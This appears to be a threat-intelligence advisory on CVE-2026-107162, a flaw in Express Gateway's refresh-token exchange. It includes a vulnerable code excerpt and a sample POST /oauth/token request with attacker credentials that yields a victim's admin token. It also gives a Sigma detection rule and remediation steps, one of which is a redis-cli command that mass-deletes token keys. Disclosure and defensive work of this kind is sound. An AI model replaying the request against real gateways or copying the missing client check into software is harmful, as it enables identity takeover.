Skip to content

CVE-2026-107162: Express Gateway OAuth 2.0 Refresh Token Validation Bypass and Identity Impersonation

Density:
HERMES

HERMES THREAT SCORE & GATEWAY SECURITY EVALUATION

Target: Express Gateway โ€” OAuth 2.0 Server Policy & Token Service (oauth2-server.js & token.service.js)
Confidence: 97%
89 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 17 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 16 / 20
Impact 19 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

Traditional CVSS v3.1 rates this vulnerability at 8.8 (High) on the basis that the attacker must supply valid client credentials to invoke the OAuth token endpoint. The Hermes Threat Score assesses it at 89 (HIGH) with an Agentic Security Score (HASS) of 68 (MODERATE). Express Gateway functions as the edge ingress proxy and centralized policy enforcement point for microservice architectures. When handling refresh_token grant exchanges, the gateway validates that the requesting client is authenticated, but fails to check that the refresh token was originally granted to that specific client ID, and fails to verify the token secret. In multi-tenant environments or platforms allowing partner/developer client registration, any low-privilege client application can exchange the stolen or discovered refresh token ID of any user or administrator for a newly minted access token with all original scopes, achieving complete identity takeover across downstream backend APIs.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-107162: Express Gateway OAuth 2.0 Refresh Token Validation Bypass and Identity ImpersonationVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTExpress Gateway API Proxy
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Express Gateway API Proxy documented in Hermes dossier.”

Supporting Verified Evidence:

Express Gateway sits at the network boundary, routing incoming client traffic to upstream microservices based on declarative YAML pipelines. In an OAuth 2.0 setup, it issues JWT access tokens and long-lived refresh tokens stored in Redis.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-107162International security tracking identifier
Software PlatformExpress GatewayEnterprise microservices API gateway built on Express.js
Vulnerable Componentslib/policies/oauth2/oauth2-server.js & lib/services/tokens/token.service.jsOAuth 2.0 refresh token handler and token validation logic
Vulnerability ClassCWE-287 / CWE-303Improper Authentication / Cross-Client Token Exchange
Attack VectorNetwork (Port 8080/tcp / OAuth Token Endpoint)Authenticated HTTP POST to /oauth/token with grant_type=refresh_token
Remediation ReleaseExpress Gateway v1.16.12Strict client binding validation and cryptographic token secret matching
[ Attacker App (Client A) ] [ Legitimate User (Client B) ]
| |
Possesses valid credentials Issued valid refresh_token
client_id: "attacker-app" token_id: "rt-uuid-victim-99"
\ /
\ /
POST /oauth/token /
grant_type=refresh_token /
client_id="attacker-app" /
refresh_token="rt-uuid-victim-99" /
\ /
v v
+----------------------------------------------------+
| Express Gateway Perimeter Proxy |
| oauth2-server.js |
+----------------------------------------------------+
|
Step 1: Authenticate Client A? (PASS)
Step 2: Look up Token "rt-uuid-victim-99"? (FOUND)
Step 3: Validate Token.clientId == Client A? (OMITTED!)
Step 4: Verify Token Secret against Client? (OMITTED!)
|
v
+----------------------------------------------------+
| Mint New Access Token for VICTIM User |
| Issuer: Express Gateway |
| Subject: victim-admin@corp.internal |
| Scopes: [ "admin", "billing", "write" ] |
+----------------------------------------------------+
|
v
+----------------------------------------------------+
| Downstream Microservices |
| Attacker accesses private APIs as VICTIM |
+----------------------------------------------------+

The root cause resides in lib/policies/oauth2/oauth2-server.js inside the exchangeRefreshToken handler.

When a client exchanges a refresh token for an access token, OAuth 2.0 (RFC 6749 Section 6) requires the authorization server to authenticate the client AND ensure that the refresh token was issued to that authenticated client:

// Vulnerable excerpt from lib/policies/oauth2/oauth2-server.js
server.exchange(oauth2orize.exchange.refreshToken((client, refreshToken, scope, done) => {
// Client is successfully authenticated (Client A)
tokenService.get(refreshToken)
.then(token => {
if (!token) {
return done(null, false);
}
// CRITICAL FLAW: The code checks expiration, but fails to check:
// token.clientId === client.id !
if (tokenService.isExpired(token)) {
return done(null, false);
}
// Token secret is not matched against client credentials
// The gateway generates an access token for token.userId without verifying ownership!
return tokenService.findOrSaveAccessToken({
userId: token.userId,
clientId: client.id, // Rebinds access token to requesting client!
scopes: token.scopes
});
})
.then(accessToken => done(null, accessToken.id))
.catch(err => done(err));
}));

Because token.clientId === client.id is not verified, any client entity registered on the gateway can redeem any other userโ€™s refresh token. Refresh token identifiers (often UUIDs or predictable tokens) frequently appear in log aggregators, proxy access logs, referer headers, or client-side storage where other users or apps can discover them.


The attack sequence follows four discrete phases:

[Token Identifier Recon] โ”€โ”€> [Client Authentication] โ”€โ”€> [Refresh Grant Request] โ”€โ”€> [Perimeter Takeover]
Obtain victim refresh ID Use attacker client creds POST /oauth/token Receive valid access token
From logs/telemetry/leaks client_id & client_secret grant_type=refresh_token Impersonate victim identity

An attacker with a standard registered client application issues a refresh token grant specifying the victim userโ€™s refresh token:

POST /oauth/token HTTP/1.1
Host: api.enterprise.internal:8080
Authorization: Basic YXR0YWNrZXItYXBwOmF0dGFja2VyLXNlY3JldA==
Content-Type: application/x-www-form-urlencoded
grant_type=refresh_token&refresh_token=9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d

Because the attackerโ€™s client credentials (attacker-app:attacker-secret) are valid, Express Gateway accepts the request, retrieves the refresh token metadata for victim-user, and responds:

{
"token_type": "Bearer",
"access_token": "eg-acc-4f9e8d7c6b5a43210fedcba987654321",
"expires_in": 3600,
"scope": "admin billing read write"
}

The attacker now possesses a valid Bearer token for the victim user, allowing complete bypass of downstream microservice authentication.


DFIR teams investigating potential abuse of CVE-2026-107162 should compare client identifiers associated with token issuance against the client identifiers presenting refresh requests in token logs.

title: Express Gateway Discrepant Client OAuth Token Refresh
id: 1a8c3d90-77f2-4b61-9c88-e87f3b610162
status: experimental
description: Detects OAuth 2.0 refresh token exchanges where the requesting client does not match the original issuing client.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-10-08
logsource:
category: application
product: express_gateway / api_gateway
detection:
selection:
event_type: 'oauth.token_refresh'
status: 'success'
condition: selection and (requesting_client_id != token_issuing_client_id)
fields:
- requesting_client_id
- token_issuing_client_id
- user_id
- src_ip
level: high
tags:
- attack.credential_access
- attack.t1550.001
- cve.cve-2026-107162

  1. Upgrade Express Gateway: Upgrade to version 1.16.12 or higher across all gateway instances:

    Terminal window
    npm install -g express-gateway@latest
    # or within your gateway project
    npm install express-gateway@1.16.12
  2. Revoke Active Refresh Tokens: Because vulnerable versions allowed cross-client token redemption, flush or expire outstanding refresh tokens to terminate potentially hijacked sessions:

    Terminal window
    # Flush gateway token namespace in Redis
    redis-cli --eval "return redis.call('del', unpack(redis.call('keys', 'eg:token:*')))"
  3. Enforce Refresh Token Rotation (RTR): Configure your gateway OAuth2 policy to invalidate the submitted refresh token upon every refresh exchange and issue a brand-new token pair, preventing token replay attacks.

  4. Restrict Client Registration: Disable public client self-registration in production environments (system.config.yml), ensuring only authenticated administrators can provision OAuth2 client credentials.